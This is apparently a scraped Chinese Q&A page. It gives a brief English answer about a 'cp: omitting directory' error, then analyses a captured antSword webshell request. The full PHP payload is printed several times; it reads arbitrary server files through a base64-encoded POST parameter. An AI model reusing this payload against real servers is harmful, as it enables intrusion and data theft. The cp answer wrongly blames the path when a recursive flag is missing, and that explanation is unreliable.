[dxl@VM-8-15-centos 2023_4_1]$ cp ../2023_3_28/selectServer/ . cp: omitting directory ‘../2023_3_28/selectServer/’
时间: 2024-01-02 13:04:55 浏览: 125
This error message means that the "cp" command is trying to copy a directory, but it is not able to do so because the directory has not been specified correctly. In this case, it looks like the "selectServer" directory is being referenced incorrectly or does not exist in the specified location. You may need to check the directory path and ensure that the directory exists before trying to copy it.
相关问题
数据包分析请求头 POST /attachment/202307/20230705163105_93.php HTTP/1.1 Host: 120.202.175.143:8101 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 651 Connection: close 请求体 l6766aed88c585=EaRDovcGhwU3R1ZHkvV1dXL3Nob3cucGhw&sqzr=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "a52b5dbabcb4";echo @asenc($output);echo "315516518";}ob_start();try{$F=base64_decode(substr($_POST["l6766aed88c585"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
根据您提供的数据包分析请求头和请求体,可以看出以下信息:
请求头:
- 请求方法:POST
- 请求路径:/attachment/202307/20230705163105_93.php
- HTTP版本:HTTP/1.1
- 主机:120.202.175.143:8101
- 可接受的编码方式:gzip, deflate
- 用户代理:antSword/v2.1
- 内容类型:application/x-www-form-urlencoded
- 内容长度:651
- 连接方式:close
请求体:
- 参数l6766aed88c585的值:EaRDovcGhwU3R1ZHkvV1dXL3Nob3cucGhw
- 参数sqzr的值:@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "a52b5dbabcb4";echo @asenc($output);echo "315516518";}ob_start();try{$F=base64_decode(substr($_POST["l6766aed88c585"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
请注意,我只对您提供的数据进行了分析,并没有执行其中的代码。如果您有任何进一步的问题或需要其他帮助,请随时告诉我。
请求体l6766aed88c585=EaRDovcGhwU3R1ZHkvV1dXL3Nob3cucGhw&sqzr=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "a52b5dbabcb4";echo @asenc($output);echo "315516518";}ob_start();try{$F=base64_decode(substr($_POST["l6766aed88c585"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
根据您提供的请求体内容,这段代码看起来是一段 PHP 代码。请注意,我只能对您提供的代码进行分析,无法执行该代码。
以下是对该段代码的简要分析:
1. 代码中定义了两个函数:
- `asenc($out)` 函数返回传入的参数 `$out`。
- `asoutput()` 函数将输出缓冲区的内容进行处理并输出。
2. 代码使用 `ob_start()` 开启输出缓冲区,并将缓冲区的内容存储到变量 `$output` 中。
3. 代码使用 `try-catch` 结构来捕获异常。在 `try` 块中,首先对经过 Base64 解码后的 `$_POST["l6766aed88c585"]` 进行处理,然后尝试打开文件并读取文件内容。
4. 如果成功打开文件并读取到内容,则使用 `echo` 输出文件内容。
5. 如果发生异常,使用 `echo` 输出错误信息。
6. 最后,调用 `asoutput()` 函数处理输出缓冲区的内容,并结束程序的执行。
请注意,这段代码具有潜在的安全风险。它接受用户传入的数据,并且直接使用 `base64_decode()` 和 `fopen()` 函数对用户提供的数据进行解码和文件操作,存在安全漏洞和可能的攻击风险。强烈建议审查代码,并采取适当的安全防护措施。
如果您需要进一步的帮助或有其他问题,请随时提问。
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